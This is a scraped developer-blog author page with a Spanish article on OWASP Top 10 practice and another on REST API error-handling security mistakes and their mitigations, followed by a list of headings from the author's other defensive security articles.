Organiza sesiones breves (30‑45 min) donde se explique una categoría del Top 10 cada semana, con ejemplos reales y ejercicios de codificación segura. La repetición ayuda a internalizar buenas prácticas y a reducir errores humanos, que son la causa principal de muchas vulnerabilidades (Un Fantasma en el Sistema).

e) Política de gestión de incidentes basada en logs

Asegúrate de que los eventos críticos (fallos de autenticación, cambios de privilegios, errores de servidor) se registren y se envíen a un sistema de monitoreo. Configura alertas que notifiquen al equipo de seguridad cuando se detecten patrones sospechosos, cumpliendo con la categoría A09.

4. Herramientas y recursos recomendados

OWASP Dependency‑Check: escáner de componentes vulnerables (A06).
OWASP ZAP: proxy para pruebas de inyección y SSRF (A03, A10).
GitHub Dependabot: actualizaciones automáticas de dependencias.
Guías oficiales de OWASP: la documentación en español del Developer Guide ofrece ejemplos y contramedidas detalladas (OWASP Developer Guide).

Combinar estas herramientas con procesos claros permite que la seguridad sea una parte integral del ciclo de vida del software, no una actividad aislada al final del proyecto.

Conclusión y llamado a la acción

El OWASP Top 10 es mucho más que una lista de vulnerabilidades; es un marco de trabajo que, si se adopta de forma sistemática, eleva la resiliencia de tus aplicaciones y reduce el riesgo de brechas costosas. Incorporar sus principios en la planificación, codificación, pruebas y monitoreo transforma la seguridad en una práctica diaria y no en una tarea puntual.

Tu próximo paso: revisa el último informe del Top 10 2025, crea una checklist personalizada para tu equipo y añade al menos una herramienta de escaneo automático en tu pipeline de CI esta semana. La constancia en estos pequeños cambios marcará la diferencia entre una aplicación segura y una exposición constante a ataques. ¡Empieza hoy y protege tu código desde la primera línea!

Fuentes y referencias

Seguridad de APIs REST: errores comunes en producción y cómo evitarlos

sergio gómez — Wed, 04 Nov 2026 16:54:54 +0000

Seguridad de APIs REST: errores comunes en producción y cómo evitarlos

En producción, una API REST mal configurada puede convertirse en la puerta de entrada para atacantes y en una fuente de frustración para los consumidores. Los fallos más habituales no son vulnerabilidades “exóticas”, sino errores de manejo de excepciones y de respuesta que revelan información sensible o generan comportamientos inesperados. En este artículo repasamos los problemas que aparecen con mayor frecuencia, explicamos por qué son peligrosos y ofrecemos pasos concretos para corregirlos antes de que lleguen a producción.

1. Exposición de información sensible en las respuestas de error

Cuando una API devuelve trazas de stack, nombres de clases o mensajes internos, está entregando a cualquier cliente (incluidos los potenciales atacantes) un mapa de su arquitectura interna. Esta práctica facilita la enumeración de componentes y la identificación de vulnerabilidades específicas.

Qué ocurre: Los desarrolladores suelen habilitar la salida de depuración en entornos de desarrollo y, por descuido, la trasladan a producción. El resultado son respuestas como NullPointerException at com.myapp.service.UserService o JSON con campos internos que no deberían ser públicos.
Por qué es un riesgo: La información revelada permite a un atacante afinar técnicas de inyección, explotación de desbordamiento o ataques de fuerza bruta contra recursos concretos.
Cómo mitigarlo:
1. Eliminar trazas y datos internos de todas las respuestas de error. En su lugar, devolver un mensaje genérico que indique que ocurrió un problema sin detallar su origen.
2. Adoptar el formato RFC 7807 (Problem Details), actualizado hoy por el RFC 9457, que estandariza la estructura del error y permite incluir solo la información necesaria (tipo, título, estado, detalle genérico y una URI de referencia).
3. Mantener la depuración activada solo en entornos controlados y asegurarse de que el código que habilita la salida de logs no se despliegue en producción.

Fuente: Seguridad en APIs REST – 17. Manejo de errores, mensajes seguros (enlace) y Manejo de Errores y Excepciones en APIs REST: Patrones Profesionales (enlace).

2. Uso incorrecto de códigos HTTP y mensajes ambiguos

Los códigos de estado HTTP son la primera capa de comunicación entre la API y el cliente. Un uso inadecuado genera confusión y, en algunos casos, puede contribuir a ataques de denegación de servicio (DoS) o a ataques de fuerza bruta.

Errores típicos:
- Devolver 200 OK aunque la operación haya fallado, ocultando el problema al cliente.
- Utilizar códigos 5xx (errores del servidor) para situaciones que son responsabilidad del cliente, como datos mal formados.
- No distinguir entre errores reintentables (por ejemplo, 429 Too Many Requests) y errores definitivos, lo que lleva a los consumidores a reintentar indefinidamente y saturar el servicio.
Consecuencias:
- Los clientes no pueden reaccionar de forma adecuada (por ejemplo, aplicar back‑off exponencial).
- Los atacantes pueden forzar la generación de errores 5xx para agotar recursos del servidor.
Buenas prácticas:
1. Mapear cada tipo de fallo a su código HTTP correspondiente: 4xx para errores del cliente (validación, autorización), 5xx para fallos internos.
2. Utilizar códigos de error reintentables como 429 o 503 cuando la causa sea temporal (rate limiting, mantenimiento).
3. Incluir en la respuesta RFC 7807/9457 un campo type que indique la categoría del error y un detail genérico, evitando exponer la lógica interna.

Fuente: Manejo de Errores en API REST: Buenas Prácticas, Códigos de Estado, RFC 9457 (enlace) y API REST Ya – Manejo de errores en APIs REST (enlace).

3. Falta de manejo centralizado y registro seguro de errores

Muchas aplicaciones dispersan la lógica de captura de excepciones en múltiples capas, lo que dificulta la consistencia y la auditoría. Además, los logs pueden contener datos sensibles si no se filtran adecuadamente.

Problemas observados:
- Cada controlador implementa su propio bloque try/catch, generando respuestas distintas y dificultando la identificación de patrones de fallo.
- Los logs incluyen payloads completos, encabezados de autorización o información de usuarios, lo que viola principios de privacidad y puede ser explotado si el sistema de logs es comprometido.
Soluciones recomendadas:
1. Implementar un middleware o filtro global de manejo de excepciones que capture cualquier error no tratado, convierta la excepción en una respuesta RFC 7807/9457 y registre el incidente de forma estructurada.
2. Centralizar los logs en una plataforma segura (por ejemplo, ELK, Splunk o un servicio de observabilidad) y aplicar máscaras a datos sensibles antes de enviarlos.
3. Configurar alertas automáticas que notifiquen cuando se produzcan patrones de errores 5xx repetidos o un número inusual de respuestas 429, indicando posibles intentos de abuso o problemas de rendimiento.

Fuente: Seguridad API REST: Guía Práctica para Proteger tus Endpoints (enlace).

4. Pruebas y monitoreo proactivo

Detectar los errores antes de que la API llegue a producción es la forma más eficaz de evitar exposiciones. Las pruebas de carga y fuzzing revelan cómo la API se comporta bajo condiciones adversas y si genera respuestas inseguras.

Pruebas recomendadas:
- Fuzzing de entrada: Enviar datos aleatorios o malformados a cada endpoint para observar si la API devuelve información interna o códigos de error inesperados.
- Pruebas de carga: Simular picos de tráfico para identificar errores 5xx que puedan derivarse de cuellos de botella o de manejo inadecuado de recursos.
Monitoreo continuo:
- Métricas de error por código HTTP (porcentaje de 4xx vs 5xx).
- Tasa de respuestas 429 para validar la efectividad de los límites de velocidad.
- Alertas de patrones de error que disparen revisiones de código o despliegues de hot‑fix.

Implementar estas pruebas como parte del pipeline de CI/CD garantiza que cualquier cambio introduzca una cobertura de manejo de errores adecuada antes de ser desplegado.

Fuente: la guía de Resolución de problemas comunes con la API REST (enlace).

Conclusión

Los errores comunes en producción de APIs REST no son meras molestias de desarrollo; son vectores de ataque que pueden comprometer la confidencialidad, integridad y disponibilidad de tus servicios. Adoptar respuestas estandarizadas (RFC 7807/9457), usar los códigos HTTP correctos, centralizar el manejo de excepciones y registrar los fallos de forma segura son pasos esenciales que reducen significativamente la superficie de ataque. Además, las pruebas de fuzzing y carga, junto con un monitoreo continuo, permiten detectar y corregir vulnerabilidades antes de que los usuarios finales las experimenten.

¿Listo para reforzar la seguridad de tus APIs?

Revisa hoy mismo tu middleware de errores, implementa respuestas RFC 7807/9457 y programa una serie de pruebas de carga y fuzzing en tu pipeline. La inversión en un manejo de errores sólido paga con menos incidentes, clientes más satisfechos y una postura de seguridad mucho más robusta. ¡Empieza ahora y protege tu arquitectura desde la base!

DEV Community: sergio gómez

Symmetric vs. Asymmetric Encryption: A Practical Guide Without Math

Symmetric vs. Asymmetric Encryption: A Practical Guide Without Math

1. What is symmetric encryption and how does it work?

2. What is asymmetric encryption and why does it need two keys?

3. Combining the best of both worlds: hybrid encryption

4. Which one to choose based on the need?

Conclusion

Sources and references

Authentication vs. Authorization: The Difference Everyone Confuses

Authentication vs. Authorization: The Difference Everyone Confuses

What Is Authentication?

What Is Authorization?

Key Differences and Points of Confusion

Why They Get Mixed Up

Best Practices to Keep the Concepts Separate

Conclusion

Sources and references

HTTP vs HTTPS: What Really Happens When You Browse

HTTP vs HTTPS: What Really Happens When You Browse

1. How HTTP Works: the Web’s Unprotected “Language”

2. HTTPS: HTTP Protected by TLS

3. Concrete Benefits of Moving to HTTPS

3.1 Data Security

3.2 SEO Impact and User Trust

3.3 Best Practices and Regulatory Compliance

4. When (If) HTTP Might Still Be Justified

5. Conclusion

6. Ready to Secure Your Site?

Sources and references

JWT: What They Are and the 5 Most Common Security Mistakes

JWT: What They Are and the 5 Most Common Security Mistakes

What Is a JWT and How Does It Work?

The 5 Most Common Security Mistakes

1. none Algorithm Enabled

2. kid (Key ID) Injection

3. Use of a Weak Secret Key

4. Algorithm Confusion

5. Missing Mandatory Validations (expiration, audience, etc.)

Best Practices to Avoid the Mistakes

When It’s Better to Avoid JWT

Conclusion

Sources and references

How to Keep Secrets in Python Without Pushing Them to GitHub

How to Keep Secrets in Python Without Pushing Them to GitHub

1. Understanding the Risk of Storing Secrets in the Repository

2. Using .env Files and the python‑dotenv Library

3. Protecting the .env File with .gitignore and Best Practices

4. Advanced Alternatives for Production Environments

4.1 GitHub Secrets

4.2 External Secret Managers

5. Quick Checklist to Avoid Exposing Secrets

Conclusion

Sources and references

XSS: the most common web vulnerability, explained with examples

XSS: the most common web vulnerability, explained with examples

What is XSS and why it remains the most frequent problem?

Types of XSS and practical examples

1. Reflected XSS

2. Stored XSS

3. DOM‑based XSS

How XSS is exploited in practice

Effective measures to prevent XSS

1. Input validation and sanitization

2. Output escaping (output encoding)

3. Content Security Policy (CSP)

4. HTTP‑Only and Secure flags on cookies

5. Reviews and automated testing

6. Development team education

Conclusion

Sources and references

SQL Injection Explained for Beginners: How It Works and How to Prevent It

SQL Injection Explained for Beginners: How It Works and How to Prevent It

What Is SQL Injection and Why Is It Dangerous?

How SQL Injection Works: Step‑by‑Step Process

Main Prevention Techniques

1. Parameterized Queries and Prepared Statements

2. Input Validation and Sanitization

3. Principle of Least Privilege

4. Careful Use of ORMs and Frameworks

HTTP vs HTTPS: What Really Happens When You Browse

HTTP vs HTTPS: What Really Happens When You Browse

1. `none` Algorithm Enabled

2. `kid` (Key ID) Injection

2. Using `.env` Files and the `python‑dotenv` Library

3. Protecting the `.env` File with `.gitignore` and Best Practices

OWASP Top 10: Qué es y cómo aplicarlo día a día en tus proyectos

OWASP Top 10: Qué es y cómo aplicarlo día a día en tus proyectos

1. ¿Qué es el OWASP Top 10 y por qué es relevante?

2. Las diez categorías del Top 10 2025

3. Incorporar el Top 10 en tu rutina de desarrollo